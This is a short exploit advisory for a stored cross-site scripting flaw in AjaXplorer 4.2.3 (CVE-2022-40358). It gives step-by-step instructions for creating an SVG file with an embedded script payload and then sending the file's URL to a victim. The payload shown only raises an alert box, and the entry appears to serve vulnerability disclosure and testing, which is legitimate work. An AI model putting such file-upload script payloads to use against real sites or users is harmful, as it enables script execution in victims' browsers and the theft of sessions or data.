# Exploit Title: AjaXplorer 4.2.3 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Scott Sturrock 'ssturrock -at- protonmail -dot- com'
# Vendor Homepage: http://www.ajaxplorer.info/
# Software Link: https://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/stable-channel/4.2.3/
# Version: 4.2.3
# Tested on: Linux, Windows
# CVE : CVE-2022-40358

An issue was discovered in AjaXplorer 4.2.3, allows attackers to cause cross site scripting vulnerabilities via a crafted svg file upload.

Steps to reproduce:

1.Right click > Create a new file > name file xss.svg
2.Right click on file > open in Source Editor
3.Copy paste below Payload and click save


<?xml version="1.0" standalone="no"?><svg width="1000" height="1000" version="1.1" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="25" stroke="red" fill="transparent" stroke-width="50"/><script type="text/javascript">alert('XSS');</script></svg>

4.Right click file and open in external window for payload URL to send to victim